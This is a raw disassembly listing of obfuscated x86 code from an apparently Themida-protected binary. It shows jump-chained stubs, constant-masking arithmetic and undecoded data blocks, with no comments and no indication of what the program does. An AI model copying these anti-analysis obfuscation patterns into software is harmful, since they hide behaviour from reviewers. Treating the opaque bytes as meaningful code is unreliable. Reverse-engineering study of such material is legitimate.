		dd 4C18159h, 81000000h,	4C1h, 240C8700h, 0FFE28FE9h, 241C87FFh
		dd 0FF24248Bh, 0C8B2434h, 4EC8124h, 89000000h, 1AE9240Ch
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546C17:				; CODE XREF: Themida_:00549BC0j
		pop	edi
		mov	edi, edx
		jmp	loc_54E258
; ---------------------------------------------------------------------------
		db 5Eh
		dd 5988F781h, 0E7C1603Fh, 9521E906h, 0B7BF0000h, 0E9423AF5h
		dd 5A10h, 53240C8Bh, 0B951E389h, 4, 0E959CB01h,	0FFFFF04Dh
		dd 53241C89h, 3C7BE9h, 240C8B00h, 4C481h, 0C1660000h, 2D6606E8h
		dd 48665C59h, 44A03566h, 58C73166h, 84D4E9h, 5602BB00h
		dd 0EB8116A1h, 6E0B2C71h, 96AEB81h, 0E38119E4h,	464D7B0Eh
		dd 741EF381h, 0DD2976EFh, 0A9ED815Bh, 0E9360E11h, 81ADh
		dd 2849C680h, 0D4E95AF3h, 51000068h, 2D8BE9h
		db 0
; ---------------------------------------------------------------------------


loc_546CB1:				; CODE XREF: Themida_:0054D3BCj
		dec	edx
		shl	edx, 5
		xor	edx, 0B5401E96h
		mov	esi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	[esp+4], esi
		push	dword ptr [esp]
		jmp	loc_550351
; ---------------------------------------------------------------------------
		db 0B0h
		dd 34FF0423h, 20C68023h, 0EE80C600h, 333BE920h,	52580000h
		dd 511C36BAh, 9EBB5300h, 81586A50h, 0EC069CC3h,	3612E97Bh
		dd 0EC830000h, 24348904h, 5E2404FFh, 8106E6C1h,	25FF82C6h
		dd 0E6E95753h, 29000022h, 0EA815EF2h, 30D1015Fh, 70C2CA81h
		dd 29E95FD0h, 58000023h, 3575E9h, 0A2BF5700h, 81440217h
		dd 61005C7h, 0F7814726h, 11064A8Bh, 815FFD89h, 3512EECDh
		dd 0B0CD810Eh, 505F4434h, 0FFFFFFB8h, 58C501FFh, 0FFEB98E9h
		dd 14BB53FFh, 1917089h,	4DD2E9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546D6E:				; CODE XREF: Themida_:0054F48Cj
		mov	dl, bl
		jmp	loc_545123
; ---------------------------------------------------------------------------


loc_546D75:				; CODE XREF: Themida_:0054CC94j
		pop	dword ptr [esp]
		pop	esp
		imul	cx
		jmp	loc_546E14
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 8904EC83h, 0E9532414h, 5DDBh
; ---------------------------------------------------------------------------


loc_546D90:				; CODE XREF: Themida_:00548EE0j
		mov	[esp], ebp
		not	dword ptr [esp]
		jmp	loc_550765
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0D4F6CCFEh, 80D5B353h, 0CB806CF3h, 14EB8072h, 0D05BDC20h
		dd 6E4C0E4h, 1044E9h, 18C78000h, 0E91DE780h, 8680h
; ---------------------------------------------------------------------------


loc_546DC4:				; CODE XREF: Themida_:00550E19j
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	1
		pop	ebx
		and	eax, ebx
		jmp	loc_548C3B
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 74FF5200h, 8F5A0424h, 0E95C2404h, 9841h
; ---------------------------------------------------------------------------


loc_546DF4:				; CODE XREF: Themida_:0054CB85j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_548085
; ---------------------------------------------------------------------------
		db 0C1h
		dd 535202EFh, 0AD93C2BBh, 0E9DA89D5h, 7353h
; ---------------------------------------------------------------------------


loc_546E14:				; CODE XREF: Themida_:00546D7Cj
		push	small 4066h
		jmp	loc_5491B5
; ---------------------------------------------------------------------------
		db 5, 2, 0
		dd 0E9500000h, 8123h, 24148B66h, 6793E9h, 74FF5700h, 0E95F0424h
		dd 44B0h, 5E59CD01h, 1836E952h,	2C890000h, 27CDE924h, 0E5810000h
		dd 62E16935h, 0CED7F581h, 0EF01FB55h, 5FFD295Dh, 0CCE9EB89h
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546E67:				; CODE XREF: Themida_:005491D4j
		push	dword ptr [esp+4]
		jmp	loc_54FD38
; ---------------------------------------------------------------------------


loc_546E70:				; CODE XREF: Themida_:0054C9F2j
		push	3C3870h
		pop	ebp
		xchg	edi, ebp
		jmp	loc_54BE77
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 1
		dd 1000000h, 0E18158C1h, 56446CC8h, 1048E181h, 0F1814576h
		dd 1D8F34DDh, 9AB2E956h, 0EF810000h, 58BA2924h,	8105E7C1h
		dd 0E64EC7EFh, 52DFF747h, 68A8BD55h, 0B0BA552Ah, 29BDB86Eh
		dd 0EDE95DEAh, 83000054h, 1C8904ECh, 2474FF24h,	241C8B04h
		dd 8F04C483h, 248B2404h, 61685324h, 8900005Ch, 0E9512404h
		dd 2D8Eh, 2C5BFD30h, 4E8008Ah, 240C8B8Ah, 0E95E5456h, 0FFFFF3FCh
		dd 4C481h, 0BB530000h, 28h, 66F2E9h
		db 0
; ---------------------------------------------------------------------------


loc_546F0D:				; CODE XREF: Themida_:0054BD9Cj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	ecx, edi
		push	4E12h
		mov	[esp], edx
		push	eax
		mov	eax, 4ED76454h
		shl	eax, 7
		not	eax
		xor	eax, 37030DD2h
		jmp	loc_54BBBB
; ---------------------------------------------------------------------------
		dd 2F242C80h, 189AE9h
		db 0
; ---------------------------------------------------------------------------


loc_546F45:				; CODE XREF: Themida_:0054B84Ej
		push	esi
		push	eax
		jmp	loc_550CFD
; ---------------------------------------------------------------------------
		dd 4BA52h, 0EF810000h, 1AF1BFCh, 1847EF81h, 0D7010DDDh
		dd 0A26BD55h, 0C58117DBh, 0F6020E21h, 82E9EF01h, 8300001Bh
		dd 5DE904C1h, 80000085h, 0CF8093F7h, 57F4E9A5h,	83AC0000h
		dd 896602ECh, 19E9240Ch, 51000019h, 4C69D768h, 0A8E9592Ah
		dd 5A00009Ch, 0C8BC800h, 4C48124h, 0E9000000h, 0FBBh, 220AEFB9h
		dd 0C1D9F724h, 0E98102E1h, 6F77D440h, 3FA9BB53h, 0B6E927E7h
		dd 0E9FFFFF5h, 0FFFFDB21h
; ---------------------------------------------------------------------------


loc_546FD0:				; CODE XREF: Themida_:0054FDE5j
		mov	esi, 59CA51B7h
		and	esi, 58F30317h
		neg	esi
		inc	esi
		xor	esi, 0C761B720h
		mov	ebp, esi
		pop	esi
		or	ebp, 44AC650Ah
		sub	ebp, 155C7DEFh
		and	ebp, 643A6C91h
		inc	ebp
		add	ebp, 44DB29F7h
		push	5E9Fh
		mov	[esp], edx
		push	edi
		jmp	loc_54EF58
; ---------------------------------------------------------------------------
		dw 0DEE9h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547013:				; CODE XREF: Themida_:0054B856j
		xor	ebp, 7BB87051h
		and	ebp, 2B6B4524h
		push	0B3Ch
		mov	[esp], ebp
		jmp	loc_54CE2A
; ---------------------------------------------------------------------------


loc_54702C:				; CODE XREF: Themida_:00545BEBj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	831h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_54CCBB
; ---------------------------------------------------------------------------
		db 83h,	0C1h, 4
		dd 7A4BE9h, 30C38100h, 14F1D94h, 0E6C15BDEh, 7D2E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54706A:				; CODE XREF: Themida_:0054D92Fj
		mov	esp, [esp]
		jmp	loc_545209
; ---------------------------------------------------------------------------
		dw 8F5Eh
		dd 665C2404h, 0E9240C8Bh, 0BE4h
; ---------------------------------------------------------------------------


loc_547080:				; CODE XREF: Themida_:0055082Ej
		xchg	edi, ebp
		not	edi
		xchg	edi, ebp
		add	ebp, 33F5DB93h
		jmp	loc_54A492
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 8Dh
		dd 19D6BE1h, 41055AD7h,	5516A47h, 63FD2661h, 0E951F801h
		dd 648Dh, 14E9DA01h, 80000008h,	0EE08F9F5h, 9182E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5470BE:				; CODE XREF: Themida_:00545329j
		mov	[esp], ecx
		push	7D3h
		mov	[esp], eax
		mov	eax, offset dword_5B308C
		push	ebp
		mov	ebp, 13F945AFh
		xor	ebp, 0C8F2080h
		mov	ecx, ebp
		pop	ebp
		xor	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54FE1C
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC832404h, 240C8904h, 71AEE954h, 3C8B0000h,	4C48124h
		dd 55000000h, 0BE3B850h, 44293E24h, 8F580424h, 42813042h
		dd 240BE330h, 56EBE93Eh, 0B60F0000h, 0FD02E9C0h, 0E95CFFFFh
		dd 0FFFFE5F8h
; ---------------------------------------------------------------------------


loc_54712C:				; CODE XREF: Themida_:0054F3CCj
		push	esi
		jmp	loc_54B412
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 99E92404h, 0C000002Ah, 0C38002E3h, 8BD88803h, 0C483241Ch
		dd 8BC32004h, 54572404h, 4C7815Fh, 83000000h, 0FAE904C7h
		dd 1FFFFF0h, 9BBE56EAh,	0E93F380Ch, 0FFFFECD0h,	4BAD68h
		dd 242C8900h, 2926856h,	465E483Bh, 170BF681h, 0F5890BE8h
		dd 65EDBF5Eh, 0BFE918E5h, 5EFFFFF7h, 8105E3C1h,	562F63F3h
		dd 8FB85076h, 29367606h, 0E95158C3h, 3F03h, 0C681E689h
		dd 4, 4EE81h, 34870000h, 34895C24h, 81E68924h, 4C6h, 76E95500h
		dd 8B000057h, 0C4832404h, 246C8104h, 67340604h,	24448167h
		dd 0B351A504h, 245C011Fh, 246C8104h, 0B351A504h, 6BA521Fh
		dd 0E9676734h, 46E0h
; ---------------------------------------------------------------------------


loc_5471F8:				; CODE XREF: Themida_:0054B9B5j
		mov	[esp], eax
		jmp	loc_544AF1
; ---------------------------------------------------------------------------
		dd 4EC8155h, 89000000h,	35B82404h, 89537F4Fh, 2F73E9C5h
		dd 0EA010000h, 111CE95Dh, 0CEE90000h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547223:				; CODE XREF: Themida_:0054936Bj
		sub	esp, 4
		mov	[esp], edx
		push	6E42h
		jmp	loc_549BB1
; ---------------------------------------------------------------------------
aSrY		db 'ÐèR²y',0
		dd 0E0C05AD0h, 8E8C002h, 0EB800B04h, 80C32840h,	48B40C3h
		dd 0FCA6E924h, 96E9FFFFh
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54725B:				; CODE XREF: Themida_:0054D8C0j
		xchg	edx, [esp]
		jmp	loc_54FAD3
; ---------------------------------------------------------------------------


loc_547263:				; CODE XREF: Themida_:0054CCDAj
		pop	ebp
		add	esp, 4
		jmp	loc_54E7C1
; ---------------------------------------------------------------------------


loc_54726C:				; CODE XREF: Themida_:00546AB8j
		add	al, dl
		pop	dx
		push	ecx
		push	ebx
		mov	bl, 85h
		or	bl, 4Ah
		shr	bl, 5
		xor	bl, 0E2h
		push	edx
		mov	dl, bl
		jmp	loc_54A9DE
; ---------------------------------------------------------------------------
aYs@		db 'Yé½@',0
		dw 0F00h
		dd 1DE9C0B6h, 8100006Fh, 7E4C48EAh, 0E9D62949h,	73BAh
		dd 4C481h, 46E90000h, 81FFFFD8h, 4C4h, 240C3300h, 5A82E9h
		dd 83C28100h, 1022670h,	18E951F2h, 87000025h, 0E95C241Ch
		dd 2163h, 4EC81h, 38E90000h, 6600006Ch,	8124148Bh, 4ECh
		dd 242C8900h, 0C581E589h, 4, 4EC81h, 3C890000h,	4EC8324h
		dd 0BD242C89h, 317D57DAh, 7D57D8BFh, 5DEF3131h,	2B95B951h
		dd 0D9F72819h, 3CE6E9h,	65EDBB00h, 4CE90D67h, 68000093h
		dd 51754272h, 5EAC15Ah,	0F281424Ah, 50E12AADh, 2346CA81h
		dd 0FE97BFBh, 33000071h, 3C31243Ch, 243C3324h, 92B0E9h
		dd 81E68900h, 4C6h, 51BF6800h, 9DE90000h, 8B000041h, 0F4E9240Ch
		dd 53FFFFF0h, 0BD610BBBh, 3ACB8176h, 817D0F0Fh,	0BF6F3FF3h
		dd 8BDD017Fh, 0C483241Ch, 4C58304h, 8B242C87h, 0EC812424h
		dd 4, 68240C89h, 7355h,	0B8240489h, 4DA913DDh, 4244431h
		dd 0FFDDFEE9h, 505BB3FFh, 65E8E9h, 4BA00h, 0D7010000h
		dd 243C335Ah, 0E9243C31h, 980h,	68F0005Ah, 444Dh, 0FFDED9E9h
		dd 2EAC1FFh, 4B81E9h, 240C8900h, 42474FFh, 0E9240C8Bh
		dd 24C3h, 4246C81h, 621E1F61h, 4245C29h, 4244481h, 621E1F61h
		dd 0E9241C8Bh, 0A42h, 89241489h, 4C281E2h, 83000000h, 143304C2h
		dd 46F1E924h, 0BB530000h, 531E4C4Eh, 2E9D821h, 0BDFFFFF3h
		dd 2B8334CAh, 0E95DE831h, 1DC0h, 0F67E981h, 0C181566Ah
		dd 9E51507h, 0E981D129h, 9E51507h, 0F67C181h, 0E95A566Ah
		dd 0FFFFDA66h
; ---------------------------------------------------------------------------


loc_547454:				; CODE XREF: Themida_:0054FEDAj
		pop	ecx
		push	ecx
		push	eax
		push	3129h
		mov	[esp], esp
		jmp	loc_54A688
; ---------------------------------------------------------------------------
		dd 4BDh, 0FFE80100h, 815D2434h,	4C4h, 24048700h, 214AE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54747E:				; CODE XREF: Themida_:00544DCEj
		mov	ebp, [esp]
		jmp	loc_54DCD6
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 5E9240Ch, 6600004Ch,	50240C8Bh, 154E954h, 0C2810000h
		dd 7D160E4Ch, 5B2434FFh, 4C481h, 0C2830000h, 74FF5202h
		dd 34FF0424h, 0CE95A24h, 66000041h, 6824048Bh, 4762h, 54243C89h
		dd 0E3B9515Fh, 0E9232D2Ch, 2980h, 0C281E289h, 4, 4EA81h
		dd 14870000h, 4895C24h,	0E9585424h, 3DB8h, 5CB5E954h, 0F0BB0000h
		dd 8156F76Ch, 1111AACBh, 0AC38110h, 0E9A90882h,	5468h
		dd 0E9E68956h, 7BA6h, 240C8B5Bh, 4C481h, 8B660000h, 0C4812414h
		dd 2, 4789E9h, 0F7DDF700h, 345AE9DDh, 34290000h, 0E6815E24h
		dd 2D6F3561h, 0E5CE814Eh, 532A124Ch, 4960EEBBh,	769EE93Eh
		dd 0F7210000h, 17CF815Eh, 810DC03Ah, 0EB0E6CC7h, 9C9E97Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547566:				; CODE XREF: Themida_:00549FF9j
		push	esp
		pop	eax
		jmp	loc_548F4C
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 0CF010000h, 0A8BE5659h, 0C1564170h, 0EED108EEh, 1853E9h
		dd 29595C00h, 34D505D8h, 0E955598Bh, 2962h, 5BDFB951h
		dd 6E92F50h, 0BF000043h, 443A6172h, 5644EF81h, 0F781203Dh
		dd 113E7187h, 7743C781h, 0EFC1508Dh, 122EE903h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5475BE:				; CODE XREF: Themida_:0054B06Dj
		mov	esi, esp
		add	esi, 4
		jmp	loc_54626A
; ---------------------------------------------------------------------------


loc_5475CB:				; CODE XREF: Themida_:00544BE8j
		xchg	ebx, [esp]
		jmp	loc_54F01A
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0BFEE80D6h, 80C6C680h, 0C68044E6h, 5AF70898h, 6F780h
		dd 8C7E9F8h, 48B0000h, 0E6895624h, 4C681h, 0C6830000h
		dd 24348704h, 8CFCE95Ch, 18350000h, 3567DE61h, 6992521Fh
		dd 85D3E9h
		db 0
; ---------------------------------------------------------------------------


loc_547615:				; CODE XREF: Themida_:0054DC6Cj
					; Themida_:0054E7F8j ...
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_54C0EF
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F38102E3h, 0DA317480h, 335BDA01h, 14312414h, 24143324h
		dd 99FCE9h, 7E1C100h, 0D234E981h, 0CF899E72h, 0B6C78159h
		dd 299B3FFEh, 243C8BF9h, 4C481h, 0C330000h, 240C3124h
		dd 8B240C33h, 89662424h, 0D3E9240Ch, 0C0000078h, 0F68004E6h
		dd 5AF028BCh, 8058C588h, 826846CDh, 8900007Eh, 0EC812414h
		dd 4, 0B0240489h, 58C68869h, 0FFDCFFE9h, 4BE56FFh, 0E9000000h
		dd 0FFFFED72h, 55515E5Fh, 542F6BBDh, 5DE98963h,	0CDAAE981h
		dd 0CB29312Fh, 921FE959h, 48B0000h, 1D1E924h, 3C330000h
		dd 243C3124h, 8B243C33h, 0CD22424h, 16E99C24h, 0FFFFFFD4h
		dd 0E2E92434h, 0F7000039h, 2E8C1D0h, 7312A52Dh,	8A0F0508h
		dd 60E9FFEAh, 81FFFFD4h, 576F19C2h, 81DA0130h, 576F19EAh
		db 30h,	5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_54F462
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 241C3124h, 0E9241C33h, 2383h, 1572DFBBh, 5DEB297Fh
		dd 0C103EBC1h, 0E38106E3h, 24C85FAEh, 6B5CE381h, 0C3810F00h
		dd 0FBFFF804h, 0E95BD801h, 4AF8h, 4A8EE951h, 0E95F0000h
		dd 697Eh, 5E08950h, 4, 0E904C083h, 4EAFh, 8034E980h, 0CB0079F1h
		dd 0B14E959h, 8B680000h, 89000051h, 0F468241Ch,	89000076h
		dd 15B82404h, 0BB663635h, 66363516h, 27CAE9h, 0E9C60100h
		dd 76C5h, 66E6BF57h, 0A5E91BBCh, 0BE00006Ah, 0E712AFDh
		dd 3C2BE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5477B6:				; CODE XREF: Themida_:00544D69j
		pop	edi
		jmp	loc_550BCE
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 0B12C04C4h, 0B104F828h, 3F54E9h, 0F7B85000h
		dd 89408F72h, 24048BC2h, 81E68956h, 4C6h, 4C68300h, 5C243487h
		dd 7C0CE9h, 2C68100h, 56000000h, 3A67E9h
		db 0
; ---------------------------------------------------------------------------


loc_5477F9:				; CODE XREF: Themida_:0054F1ECj
		add	esp, 4
		push	edi
		push	esp
		jmp	loc_545F63
; ---------------------------------------------------------------------------


loc_547803:				; CODE XREF: Themida_:00549BF8j
		pop	edx
		xor	edx, 25856CE6h
		mov	ecx, [esp]
		add	esp, 4


loc_547813:				; CODE XREF: Themida_:loc_54941Fj
					; Themida_:loc_54998Aj
		push	2093h
		jmp	loc_54D29D
; ---------------------------------------------------------------------------


loc_54781D:				; CODE XREF: Themida_:0054B5DFj
		pop	esp
		mov	[esp], edx
		jmp	loc_5494E5
; ---------------------------------------------------------------------------
		dw 0C589h
		dd 187668h, 242C8900h, 12240481h, 0E967CB13h, 4FE0h, 1D95F681h
		dd 0E6810993h, 75EC74D5h, 912AEE81h, 15E9187Dh
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547853:				; CODE XREF: Themida_:00545680j
		neg	ebx
		jmp	loc_546804
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 85F4h, 2ED6E958h, 0C3830000h, 241C8704h, 0AE95A5Ch
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547873:				; CODE XREF: Themida_:0054CFFFj
		mov	[esp], ebx
		mov	ebx, 15DA10D8h
		jmp	loc_550833
; ---------------------------------------------------------------------------
		dd 4EC81h, 3680000h, 89000058h,	4832424h, 80E90424h, 83000015h
		dd 48904ECh, 20C2E924h,	0E9AD0000h, 2429h, 0BA52E589h
		dd 141274E3h, 5960E957h, 0C4810000h, 4,	158C389h, 8DE95BDAh
		dd 5B00000Dh, 4D5CEA81h, 0D009DAB6h, 5A2434FFh,	81E68956h
		dd 4C6h, 4C68100h, 87000000h, 248B2434h, 2CFE924h, 65050000h
		dd 8B323B48h, 0C481241Ch, 4, 2852E950h,	0C890000h, 5056B124h
		dd 0E8C068B0h, 392C06h,	0D1E958C1h, 68000033h, 622Bh, 81243C89h
		dd 4ECh, 242C8900h, 9A67FDBDh, 4EC8150h, 89000000h, 24E92404h
		dd 8900004Ch, 0B966240Ch, 4166724Bh, 0CEBA6652h, 0E2816653h
		dd 0C166773Bh, 0F76606E2h, 0F28166D2h, 21663EC4h, 41665AD1h
		dd 33E98166h, 0C981666Fh, 816642B4h, 667FCEC1h,	0DEE9C821h
		dd 29FFFFF2h, 0C8295BD8h, 9825E9h, 0C3285A00h, 778E9h
		db 0
; ---------------------------------------------------------------------------


loc_547989:				; CODE XREF: Themida_:005500CAj
		sub	ebp, 4B1F5F85h
		add	eax, ebp
		pop	ebp
		push	edx
		jmp	loc_54DDC2
; ---------------------------------------------------------------------------
		dd 0DE88D3F6h, 4705E9h,	3C875D00h, 24D25C24h, 42E99C24h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5479AF:				; CODE XREF: Themida_:0054EB13j
		xor	edi, esi
		xor	esi, edi
		xor	eax, esi
		jmp	loc_5503FC
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0BA241489h, 4, 835AD701h,	95E904C7h, 81000007h, 47602BC5h
		dd 0E465E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5479DE:				; CODE XREF: Themida_:0054EF6Dj
		push	ecx
		jmp	loc_5459B4
; ---------------------------------------------------------------------------
		dd 8859CA88h, 2434FFD4h, 4C4835Ah, 0FFD3DEE9h, 0E95954FFh
		dd 3FBEh, 0C581E589h, 4, 56EEE9h, 66BE5600h, 81340D26h
		dd 0BF3EA9C6h, 0EE81460Bh, 3FCC650Ch, 875EF729h, 895C243Ch
		dd 0CBE9242Ch
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547A2B:				; CODE XREF: Themida_:005450E2j
		mov	[edi+20h], esi
		mov	esi, [esp]
		jmp	loc_545103
; ---------------------------------------------------------------------------
		dw 8957h
		dd 4C781E7h, 53000000h,	4BBh, 5BDF2900h, 5E56E9h, 1147B900h
		dd 0CE014558h, 34C68159h, 143B18Bh, 947FE9F2h, 5C290000h
		dd 15B0824h, 81042474h,	78042444h, 5565051Bh, 0CA0B97BDh
		dd 246C0111h, 2226E908h, 0EFB50000h, 0FFF62AE9h, 0C4835DFFh
		dd 0F19CE904h, 0E952FFFFh, 93CEh
; ---------------------------------------------------------------------------


loc_547A98:				; CODE XREF: Themida_:0054F694j
		inc	bl
		neg	bl
		sub	esp, 4
		jmp	loc_54F7B1
; ---------------------------------------------------------------------------


loc_547AA7:				; CODE XREF: Themida_:0054FAC6j
		inc	edx
		add	edx, 1C8800EDh
		neg	edx
		jmp	loc_548D02
; ---------------------------------------------------------------------------
		db 0F6h, 0D6h, 0E9h
		dd 933h, 468h, 0C1015800h, 4DE7E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547ACA:				; CODE XREF: Themida_:0054825Aj
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	edx, 2
		xchg	edx, [esp]
		pop	esp
		mov	fs:[edx], ax
		jmp	loc_544AF1
; ---------------------------------------------------------------------------
aZsv		db 'Zév%',0
		align 4


loc_547AE8:				; CODE XREF: Themida_:00545DF6j
		mov	ebp, 8000h
		push	ebp
		xor	dword ptr [esp], 247121Ah
		pop	edx
		push	ebp
		mov	ebp, 93B5376h
		add	ebp, 0F90BBEA4h
		jmp	loc_54F64A
; ---------------------------------------------------------------------------
		db 66h
		dd 0A2056640h, 0C3016631h, 0EB816658h, 816673B8h, 522C0FEBh
		dd 2D90BA66h, 0B8665066h, 29660000h, 1B49E9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547B2E:				; CODE XREF: Themida_:0054B164j
		add	ebp, 4
		jmp	loc_54F9A3
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0AEE930FFh
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547B43:				; CODE XREF: Themida_:0054D4E4j
		xor	ecx, 69712E87h
		mov	edi, [esp]
		jmp	loc_54ABCD
; ---------------------------------------------------------------------------
		db 31h,	0F0h, 5Eh
		dd 20478F50h, 8B2434FFh, 2DE92404h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547B63:				; CODE XREF: Themida_:0054F9A9j
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		or	eax, eax
		jz	loc_544F29
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5480A3
; ---------------------------------------------------------------------------
		dd 0E95DE889h, 49F3h, 61C6815Eh, 1650043h, 0F90E9F2h, 0ECB20000h
		dd 28AEC280h, 7BE95AD3h, 81FFFFF5h, 5763F9E6h, 4EEC178h
		dd 8106EEC1h, 29303AF6h, 5EF2012Ch, 3136E9h, 5E8C100h
		dd 0BCE95056h, 66FFFFE6h, 0E9240C8Bh, 2F98h, 87ABE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547BD6:				; CODE XREF: Themida_:005490EEj
		sub	edx, ebp
		jmp	loc_548875
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 7835BA52h, 0EAC15309h, 8DFCE906h, 8B660000h,	67682404h
		dd 89000073h, 5F54243Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_54B5DC
; ---------------------------------------------------------------------------
		dd 42474FFh, 5D4E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547C1A:				; CODE XREF: Themida_:0054BC53j
		add	edx, 1398CFD2h
		jmp	loc_548797
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 84E9E789h, 8300000Fh, 535504C4h, 4BBh, 0D7AE900h, 0E9520000h
		dd 8AAAh, 0E924348Bh, 4DFh, 8104C483h, 4C7h, 243C8700h
		dd 24048F5Ch, 0E924248Bh, 0FFFFEF16h, 81E78957h, 4C7h
		dd 4EC8100h, 89000000h,	0C6B9240Ch, 491F0434h, 7926E981h
		dd 0EDE954BCh, 0B9FFFFDFh, 2, 1E9DBF57h, 0FD010236h, 81CD015Fh
		dd 361E9DEDh, 2C335902h, 242C3124h, 8B242C33h, 8B662424h
		dd 0E9532404h, 910Bh, 3C89BF57h, 8DBE3D2Ch, 293D2C3Ch
		dd 0FD055FFEh, 10A6C6Eh, 6EFD2DF0h, 875E0A6Ch, 0FF5C2404h
		dd 48B2434h, 5E545624h,	0FFECA7E9h, 542966FFh, 5A660424h
		dd 24148B66h, 219EE9h, 0EFC15900h, 0EDD3E908h, 0DDF7FFFFh
		dd 0ED81D5F7h, 210103D5h, 96CF581h, 0E9812119h,	62E81B1Ch
		dd 8B48E9h, 795A6800h, 14890000h, 6AF96824h, 34890000h
		dd 0BEBF5724h, 893BDF55h, 6D08E9FEh, 0EC810000h, 4, 0FF241C89h
		dd 0E9042474h, 37CDh, 8B243C33h, 4312424h, 9EE99C24h, 80FFFFCDh
		dd 0D02864C2h, 0E789575Ah, 4C781h, 19E90000h, 5100005Ch
		dd 6186E950h, 0ED830000h, 90FDE904h, 0C5830000h, 242C3302h
		dd 33242C31h, 665C242Ch, 5724048Bh, 0A3E9E789h,	6600000Dh
		dd 6602B60Fh, 664A5568h, 0E9240489h, 0FFFFCD51h, 0ED81DDF7h
		dd 1EF0450h, 0FC94C581h, 0EE01F288h, 4EE835Dh, 2474FF56h
		dd 48F5E04h, 2C895C24h,	94E95624h, 50000084h, 0E6004BB4h
		dd 8324048Bh, 512C04C4h, 99E9F028h, 57000052h, 1C3D1368h
		dd 0F7815F56h, 46356F06h, 1653C781h, 2DE95909h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547DF3:				; CODE XREF: Themida_:0054CC17j
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_549BEB
; ---------------------------------------------------------------------------
		db 80h,	0F4h, 0F6h
		dd 8064EF80h, 0E72861C7h, 8061EF80h, 285864C7h,	0CB685BF8h
		dd 89000037h, 0EC83240Ch, 7068E904h, 97350000h,	89848C4Ah
		dd 0CD3158C5h, 83240C8Bh, 7BE904C4h, 8900002Dh,	0BA2414h
		dd 1000000h, 2528E9DAh,	0C4830000h, 24042904h, 97240481h
		dd 8112923Dh, 1CA72404h, 92E9496Bh, 66FFFFCCh, 5224048Bh
		dd 5F80E954h, 248B0000h, 121CE924h, 0C4830000h,	5D545504h
		dd 0C6BD5556h, 0E92CC157h, 5E1Dh, 1786B951h, 9BE910BEh
		dd 2800005Eh, 0CBFE58C3h, 0C0A7F380h, 0CBFE04EBh, 50B0F380h
		dd 81F68h, 241C8900h, 0CB8048B3h, 0DF380B3h, 0FFF286E9h
		dd 0E9555BFFh, 0FFFFE0CFh, 0C104E7C1h, 0C78107EFh, 531C2421h
		dd 815FFE89h, 3536ACEBh, 81F3293Ch, 3536ACC3h, 0D1E7E93Ch
		dd 0B951FFFFh, 4, 0E959CF01h, 51CBh, 5E2C7D68h,	242C8B43h
		dd 0E9E28952h, 4889h, 4240481h,	0E9000000h, 1AEEh
; ---------------------------------------------------------------------------


loc_547F08:				; CODE XREF: Themida_:00548B6Dj
		xchg	eax, [esp]
		jmp	loc_54B6E4
